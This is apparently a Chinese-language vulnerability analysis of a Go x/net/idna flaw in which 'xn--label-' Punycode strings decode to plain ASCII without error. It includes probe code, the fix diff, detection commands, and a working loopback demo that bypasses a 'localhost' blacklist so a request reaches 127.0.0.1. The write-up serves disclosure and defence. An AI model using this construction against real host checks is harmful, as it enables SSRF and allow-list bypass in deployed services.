一个 xn-- 前缀加一个尾 -,黑名单里的域名就能原样通过校验;ToUnicode("xn--example-.com") 解码出 example.com 却不带错误。

CVE-2026-39821(GO-2026-5026)落在 Go 生态的 golang.org/x/net/idna,ToASCII 与 ToUnicode 接受解码结果为纯 ASCII 的 Punycode 标签。标准库侧修复落在 go1.25.13、go1.26.6、go1.27.0-rc.3。

触发这个漏洞需要三件事同时成立:UTS 43 规范本身把"解码成纯 ASCII 的 xn-- 标签"漏判为错误;idna 把这条检查挂在 unicode16 编译期常量后面;工具链标准库 unicode 数据表恰好低于 16.0.0。三件事分别对应规范、库、工具链三个层面,下文逐个拆开。

这次缺陷在同形攻击(homograph)家族里属于新变体。同形攻击长期利用视觉相似字符(如西里尔字母 а 与拉丁字母 a)注册形似知名域名的国际化域名,主流浏览器因此长期对易混淆的国际化域名显示 punycode 形态而非原始 Unicode。CVE-2026-39821 把构造成本从"注册一个形似域名"降到"拼一个字符串":不需要任何真实 IDN 注册,也不需要视觉相似字符,xn-- 前缀加尾 - 的解码产物就是目标 ASCII 域名本身。

前置:国际化域名与 IDNA

国际化域名的标准体系分成两套:IDNA2008(RFC 5890/5891)与 Unicode 的 UTS #46(Unicode IDNA Compatibility Processing)。一个国际化域名有两种写法:

  • U-label(Unicode 形态):bücher.example,人读的形态。
  • A-label(ACE 形态):xn--bcher-kva.example,DNS 里实际存储和传输的形态。xn-- 是 ACE(ASCII Compatible Encoding)前缀,RFC 5890 规定 A-label 必须以它开头。

两者互转就是 idna 包两个入口函数的职责:ToASCII 把 U-label 编码成 A-label(对已经是 A-label 的输入做校验),ToUnicode 把 A-label 解码回 U-label。idna.Lookup 是面向域名解析查询的 profile,Go 标准库 net/http 用它。

A-label 存在的唯一意义是承载非 ASCII 内容。解码结果如果仍是纯 ASCII,说明输入是一个"多余"的 A-label——要么是攻击者手工拼出来的畸形串,要么是编码方犯了错。UTS #46 的早期修订(pre-revision 33)没有把这种情况定义为错误,这就是漏洞的规范层根源。

Punycode 解码的两种形态:纯 basic 段与 delta 增量

Punycode(RFC 3492)是 IDNA 的编码算法。编码后的串由两部分组成:<basic 段> '-' <delta 增量>。basic 段是输入里原本就是 ASCII 的字符(直接原样保留),- 是分隔符,delta 增量是用 base-36 数字编码的非 ASCII 码位偏移。RFC 3492 第 5 节给了参数表,idna/punycode.go 原样实现:

idna/punycode.go:21-29 定义解码参数:base=36 是 delta 数字的基数,initialN=128 是首码位起点,tmin/tmax 是阈值。

decode 入口(idna/punycode.go,v0.54.0)用字符串里末尾的 - 切分两部分:

三种情形:

  1. encoded 为空:直接返回空串、无错误(punycode.go:35-37)。
  2. 没有 - 或 - 在开头(pos == 1):视为非法,返回 punyError。
  3. - 在末尾(pos == len(encoded)):整个串都是 basic 段、delta 为空,直接去掉尾 - 返回,不进 delta 解码循环。

对 "example-":LastIndex 指向位置 7,pos == 8 == len(encoded),走第 3 种情形,返回 "example"。这一步本身符合 RFC 3492:全 basic 的 Punycode 串就该长这样。问题在解码之后的调用方没有兜住"解码结果是纯 ASCII"这种情况。

对照第 4 种形态:"example"(无尾 -)会走进 delta 循环,把 example 当 basic 段参与偏移计算。实测 ToUnicode("xn--example") 输出 Ωίθηδ——同样的前缀,只差一个尾 -,解码结果从纯 ASCII 变成希腊字母。分隔符 - 的语义决定了两种形态完全不同的路径,这也是理解整个漏洞的关键。

复现现象:一个输入、两个版本、十二组变体

go version

测试程序对一组构造输入同时调用 idna.ToASCII 与 idna.ToUnicode。变体家族按构造方法分类:对任意 ASCII 串手工加 xn-- 前缀与尾 -(Punycode 纯 basic 形态),即 mk(s) = "xn--" + s + "-":

probe2.go:

package main

import (
    "fmt"

    "golang.org/x/net/idna"
)

// mk 对任意 ASCII 标签构造 Punycode 纯 basic 形态:xn-- 前缀 + 标签 + 尾 '-'
func mk(label string) string { return "xn--" + label + "-" }

func main() {
    // 变体覆盖:基础域名、复合域名、回环地址、无尾 '-'、空标签、大写前缀
    samples := []string{
        mk("example"),
        mk("example") + ".com",
        mk("admin"),
        mk("admin") + ".example.com",
        mk("internal"),
        mk("169.254.169.254"),
        "xn--example",
        "xn--",
        "xn---",
        "xn--a--",
        "xn--a-b",
        "XN--EXAMPLE-",
    }
    for _, s := range samples {
        // 同一输入同时过 ToUnicode 与 ToASCII,观察返回值与错误是否分离
        uni, errU := idna.ToUnicode(s)
        ascii, errA := idna.ToASCII(s)
        fmt.Printf("in=%-24q uni=%-24q errU=%-34v ascii=%-24q errA=%v\n",
            s, uni, errU, ascii, errA)
    }
}

先跑漏洞版本:

# 锁 x/net v0.54.0:idna 的 unicode16 开关随工具链标准库走,锁版本即可切换行为
go get golang.org/x/net@v0.54.0

go run probe2.go

切到修复版本跑同一程序:

# 官方通告把 v0.55.0 标为修复,实测 v0.55.0/v0.56.0 仍漏,真修复在 v0.57.0
go get golang.org/x/net@v0.57.0
go run probe2.go

  1. 漏洞形态:xn--example-、xn--example-.com、xn--admin-、xn--admin-.example.com、xn--internal- 在 v0.54.0 下全部解码为自身、无错误。任意 ASCII 标签套上 mk() 都成立,黑名单里的域名可以原样变形成可放行的输入。
  2. IP 形态不可行:xn--169.254.169.254- 被点号切成多个标签后,169 这类纯数字标签触发 invalid label "169"。IP 地址黑名单不能走这条构造,目标限定在域名形态。
  3. 分隔符决定路径:xn--example(无尾 -)走 delta 解码输出希腊字母 Ωίθηδ,两个版本都正常,不是漏洞。
  4. 前缀大小写敏感:XN--EXAMPLE- 不被识别为 ACE,原样返回。ACE 前缀匹配区分大小写,构造必须用小写 xn--。
  5. 修复后仍有返回值:v0.57.0 下 uni 列依然是 example.com,只是 err 变成了 idna: invalid label "example-"。字符串与错误分离返回,调用方必须检查 err 才算拦截,只看返回值仍然拿到 example.com。

漏洞点:isASCII 检查被 unicode16 短路

process 函数遍历域名标签,命中 acePrefix 后取出编码部分调用 decode。acePrefix 定义在 idna.go:659(v0.54.0):

v0.54.0 的 process ACE 分支:

idna.go:403 是唯一的防线:解码结果非空、且全是 ASCII 时,应当报 punyError。但整个条件挂在 unicode16 常量后面。unicode16 是编译期常量:

当 unicode16 为 false,unicode16 && ... 整体短路,isASCII(u) 永远不会执行。xn--example-.com 被当作普通 ASCII 域名接受,错误为空。漏洞成立与否,取决于 unicode16 的值,而不是 idna 自己的版本。

unicode16 的编译期机制

unicode.Version 是标准库 unicode 包的编译期常量,随 Go 工具链版本走,定义在 $GOROOT/src/unicode/tables.go。idna.go 直接 import 标准库 unicode(不是 x/text),const unicode16 = unicode.Version >= "16.0.0" 在编译期就求值成 true 或 false,无法运行时改变。x/text 只提供 norm/bidi 处理表,不参与 unicode16 的取值。

复现只需要锁 x/net 版本,unicode16 与 x/text 无关,由工具链的标准库决定:

# univ.go 只打印标准库 unicode 包的编译期常量,与 x/net、x/text 版本无关
go get golang.org/x/net@v0.54.0
go run univ.go

go1.26 工具链标准库 unicode 表为 15.0.0,unicode16 取 false。换 x/text 版本不会改变它,换 Go 工具链版本才会。

"15.0.0" >= "16.0.0" 为假,unicode16 编译为 false。go1.26.8 的 Kali 环境同样是 "15.0.0"。也就是说,v0.54.0、v0.55.0、v0.56.0 在 Unicode 15 标准库数据表下全部处于漏洞状态,v0.55.0、v0.56.0 的"修复"只是把检查条件原样保留,没有触达实际开关。直到 v0.57.0 把条件改成无条件检查,才绕开 unicode16 门槛。

这也解释了漏洞的暴露面为什么由工具链决定:两个项目同样锁 idna v0.54.0,一个用带 Unicode 16 标准库表的新工具链,一个用 Unicode 15 的旧工具链,前者不受影响、后者受影响。审计时必须同时看 go.mod 里的 x/net 版本与工具链的 go version。

标准库的两条路径

x/net/idna 被 Go 标准库 net/http 直接使用。跟踪下来是两条独立的调用路径,行为不一样:

路径一:连接前的拨号规范化。 http.Transport 建立连接前,用 idnaASCII 对 URL 的 Host 做转换(net/http/request.go,go1.25.0):

注意 request.go:791-793:ascii.Is 短路,纯 ASCII 输入直接原样返回,根本不进 idna。xn--example-.com 是纯 ASCII,拨号目标保持 xn--example-.com:8080 不变(DNS 解析会失败),标准库拨号路径对这条构造天然免疫。

# main.go 走标准库 net/http(内嵌 idna 副本),结果不受 go.mod 中 x/net 版本影响
go run main.go

路径二:请求行 Host 头的 Punycode 化。 Request.Write 序列化时调 httpguts.PunycodeHostPort(httplex.go,go1.25.0 vendored x/net):

同样有 isASCII 直通,纯 ASCII 输入不转换。

两条路径都因为"先查 ASCII 再调 idna"的顺序,避开了这次纯 ASCII 构造。标准库升级到 go1.25.13、go1.26.6、go1.27.0-rc.3 是必要的(vendored 的 idna 副本本身仍旧,其它调用形态和非纯 ASCII 组合仍在防御范围内),但对 xn--example-.com 这条具体的纯 ASCII 构造,标准库拨号路径不是入口。

攻击面因此集中在应用层直接调用 idna 做安全决策的代码:业务代码把用户可控的 hostname 交给 idna.ToASCII / idna.ToUnicode 做规范化,再拿规范化结果做黑名单、白名单、回调地址比对或权限判断。这类代码不在 net/http 内部,没有 ascii.Is 短路保护,直接命中漏洞。

利用形态:先放行、后规范化

利用点建立在两个环节的处理顺序不一致上:安全决策在规范化之前,看到的是 xn--example-.com;后续网络动作或授权判断在规范化之后,处理的是 example.com。四类常见写法,其中黑名单绕过与白名单误判是同一构造的两种落点,回调校验与权限提升依赖具体业务实现:

  1. 黑名单绕过(实测):黑名单里有 example.com,朴素字符串比对不命中 xn--example-.com,放行后规范化成 example.com。回环地址 localhost 是同一构造,见下方完整链路。
  2. 白名单误判(实测):白名单校验调 idna.ToASCII 规范化用户输入后再比对,xn--example-.com 被转成 example.com 后命中白名单,把外部请求当成了可信目标。
  3. 回调地址校验:OAuth redirect_uri、webhook 地址的域名比对,同样先规范化再比对,畸形标签被当作合法回调域名。此形态成立与否取决于具体回调校验是否调 idna 且丢弃错误。
  4. 权限提升(源自 CVE 通告表述):以规范化结果作为特权域名判断依据,普通用户输入 xn--admin- 解码成 admin,权限检查落在受保护域名上。通告将其列为 privilege escalation 形态,属通告披露的利用方向,未在公开材料中见到独立利用链。

完整链路用本地回环服务验证,把"先放行、后规范化"落到一次真实 HTTP 往返:回环地址 localhost 常被 SSRF 防护当作本地特权入口拦截,构造 xn--localhost- 让黑名单比对落空,规范化后请求真实到达 127.0.0.1:18080,服务端完整收到请求行与 Host 头:

loopback_demo.go:

package main

import (
    "fmt"
    "net"
    "net/http"
    "net/url"
    "time"

    "golang.org/x/net/idna"
)

func main() {
    // 本地回环服务:记录真实收到的请求行与 Host 头
    ln, err := net.Listen("tcp", "127.0.0.1:18080")
    if err != nil {
        fmt.Println("listen err:", err)
        return
    }
    defer ln.Close()

    srv := &http.Server{Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        fmt.Printf("[服务端] 请求行: %s %s %s\n", r.Method, r.RequestURI, r.Proto)
        fmt.Printf("[服务端] Host 头: %q\n", r.Host)
        w.WriteHeader(200)
    })}
    go srv.Serve(ln)
    time.Sleep(200 * time.Millisecond)

    raw := "http://xn--localhost-:18080/ping"

    // 应用层流程:解析 -> 黑名单 -> 规范化 -> 真实请求
    u, err := url.Parse(raw)
    if err != nil {
        fmt.Println("url.Parse err:", err)
        return
    }
    host := u.Hostname()
    fmt.Printf("[1] url.Parse 接受: Hostname=%q\n", host)

    // 回环地址常被当作本地特权入口拦截(SSRF 防护的典型目标)
    if host == "localhost" {
        fmt.Println("[2] 黑名单命中 -> 拒绝")
        return
    }
    fmt.Println("[2] 黑名单未命中(输入是 xn--localhost-,不是 localhost)-> 放行")

    norm, errNorm := idna.Lookup.ToASCII(host)
    fmt.Printf("[3] idna.Lookup.ToASCII(%q) = %q, err=%v\n", host, norm, errNorm)
    if errNorm != nil {
        fmt.Println("[4] 规范化失败,请求被拒绝")
        return
    }

    target := "http://" + norm + ":18080/ping"
    fmt.Printf("[4] 规范化成功,真实发起请求: %s\n", target)
    client := &http.Client{Timeout: 3 * time.Second}
    resp, err := client.Get(target)
    if err != nil {
        fmt.Println("[5] 请求失败:", err)
        return
    }
    defer resp.Body.Close()
    fmt.Printf("[5] 请求完成, 状态码=%d\n", resp.StatusCode)

    // 对照:不经应用层规范化、直接把原始输入交给标准库拨号
    _, errDirect := http.Get(raw)
    if errDirect != nil {
        fmt.Printf("[6] 对照(标准库直拨 %q): %v\n", raw, errDirect)
    }
}

漏洞版本跑完整链路:

# 锁 v0.54.0:黑名单未命中、规范化无错误、请求真实到达回环服务
go get golang.org/x/net@v0.54.0
go run loopback_demo.go

黑名单检查放行,规范化无错误,真实请求到达回环服务,Host 头变成 localhost:18080。对照行证明:同一个原始 URL 不经应用层规范化、直接交给标准库时,拨号目标是 xn--localhost-,DNS 解析失败——标准库对纯 ASCII 构造免疫,绕过必须经过应用层的 idna 调用。

切到修复版本重跑同一程序:

# 同一程序、同一输入,规范化阶段返回错误,请求在发起前被拒绝
go get golang.org/x/net@v0.57.0
go run loopback_demo.go

修复版本下规范化返回错误,按规范检查 err 的代码会拒绝请求。同时注意 [3] 的返回值仍是 localhost——修复只改变了 err,字符串照常返回。任何把返回值当唯一依据、丢弃 err 的代码,在修复版本下依旧拿到 localhost。

修复

v0.57.0 对 idna.go 的改动是把检查条件从 unicode16 && 收窄为无条件,并补上规范缺陷说明:

--- a/idna/idna.go
+++ b/idna/idna.go
@@ -400,7 +400,11 @@
                 // Spec says keep the old label.
                 continue
             }
-			if unicode16 && err == nil && len(u) > 0 && isASCII(u) {
+			if err == nil && len(u) > 0 && isASCII(u) {
+				// UTS 43 pre-revision 33 doesn't classify a xn-- label
+				// which contains only ASCII characters as an error,
+				// but that's a specification bug and a security issue.
+				// Always return an error in this case.
                 err = punyError(enc)
             }
             isBidi = isBidi || bidirule.DirectionString(u) != bidi.LeftToRight

注释把根因写在源码里:UTS 43 pre-revision 33 不认为"只含 ASCII 的 xn-- 标签"是错误,官方承认这是规范缺陷并存在安全问题,决定无条件报错。punycode.go 与其余文件没有变化,修复只发生在 process 的错误检查。测试用例随之补上:

--- a/idna/idna_test.go
+++ b/idna/idna_test.go
@@ -104,5 +104,15 @@
     }
 }
 
-// TODO(nigeltao): test errors, once we've specified when ToASCII and ToUnicode
-// return errors.
+func TestIDNAErrors(t *testing.T) {
+	for _, tc := range []string{
+		"xn--example-.com",
+	} {
+		if got, err := ToASCII(tc); err == nil {
+			t.Errorf("ToASCII(%q) = %q, want error", tc, got)
+		}
+		if got, err := ToUnicode(tc); err == nil {
+			t.Errorf("ToUnicode(%q) = %q, want error", tc, got)
+		}
+	}
+}

版本对照(同一环境 go1.26.8、同一测试输入 xn--example-.com,标准库 unicode 表 15.0.0),由逐版本扫描得出:

# 六个版本一轮扫完:versweep.sh 封装了下面的逐版本切换
bash versweep.sh
# 等价手写展开:poc.go 对同一输入跑 ToASCII/ToUnicode,每段取前 4 行
for v in v0.54.0 v0.55.0 v0.56.0 v0.57.0 v0.58.0 v0.59.0; do
    go get golang.org/x/net/idna@$v >/dev/null 2>&1
    echo "=== $v ==="
    go run poc.go 2>&1 | sed -n '1,4p'
  done

x/net/idna 版本

ToASCII/ToUnicode 结果

状态

v0.54.0

example.com, err=nil

漏洞

v0.55.0

example.com, err=nil

漏洞

v0.56.0

example.com, err=nil

漏洞

v0.57.0

idna: invalid label "example-"

修复

v0.58.0

idna: invalid label "example-"

修复

v0.59.0

idna: invalid label "example-"

修复

处置与检测

依赖侧:go.mod 里 golang.org/x/net 低于 v0.57.0 的工程需要升级。unicode16 的取值由工具链标准库 unicode 数据表决定($GOROOT/src/unicode/tables.go),不随 x/text 版本变化。标准库侧:Go 版本低于 go1.25.13、go1.26.6、go1.27.0-rc.3 的升级工具链,老版本线(1.24 及更早)没有修复版本。

代码侧,两个审计点:

  1. 错误丢弃点:idna.ToASCII / idna.ToUnicode / idna.Lookup.ToASCII 的返回值被 _ 或单值接收的代码。修复版本下错误仍在 err 里,丢弃 err 等于没修。
  2. 两段式处理点:先对 hostname 做字符串匹配(黑名单、白名单、后缀判断),再把 Host 交给 idna 或网络库的代码。凡是"先放行、后规范化"的顺序,都值得把 xn-- 前缀输入纳入测试集。

暴露面判定用 govulncheck(Go 官方漏洞扫描器)核对依赖树,它会读取模块图与漏洞库,命中时报告 GO-2026-5026:

# 官方漏洞扫描器读取模块图与漏洞库,命中即报告 GO-2026-5026
go install golang.org/x/vuln/cmd/govulncheck@latest
govulncheck ./...

版本核对可以不用漏洞库,直接看模块图与工具链版本:

# 直接核对模块图里的 x/net 版本与工具链版本,两条决定漏洞状态
go list -m golang.org/x/net
golang.org/x/net v0.54.0
go version
go version go1.26.8

x/net < v0.57.0 且工具链标准库 unicode 表低于 Unicode 16(unicode.Version 为 15.x)即处于漏洞状态。调用点定位用静态检索:idna 三个入口的调用处,以及返回值被丢弃的写法(_, _ =、单值接收):

# 逐行命中即一个 idna 调用点;不含 err 的行即错误丢弃点
# 命中行形态:normalized, _ := idna.ToUnicode(host)(err 被 _ 接收)
grep -rnE "idna\.(ToASCII|ToUnicode)" --include="*.go" . | grep -v "err"

构造方法论:任意 ASCII 标签 s 都能生成 xn--s-,无需真实 IDN。运行时验证用探针函数:对已知黑名单域名构造 xn--<label>- 形态,调用 ToUnicode,断言返回错误。若返回结果等于黑名单域名且 err 为空,运行环境仍处于漏洞状态;若 err 非空但返回值仍是目标域名,则修复已生效但调用方必须检查 err。

// 检测探针
func vulnerable() bool {
    s, err := idna.ToUnicode("xn--example-.com")
    return err == nil && s == "example.com"
}

本质:规范漏判(UTS 43 早期修订)× 编译期开关(unicode16 依赖工具链标准库 unicode 表版本)× 错误处理习惯(返回值与 err 分离、丢弃 err),三个因素叠加成这次绕过。升级到 v0.57.0 只是第一步,检查每个 idna 调用的 err 才是落地的拦截。对检测方而言,入手点是所有把规范化结果当作安全决策依据的调用点:先确认调用处是否检查了 err,再确认 x/net 版本与工具链 go version,两条都过才算处置完成。

引用来源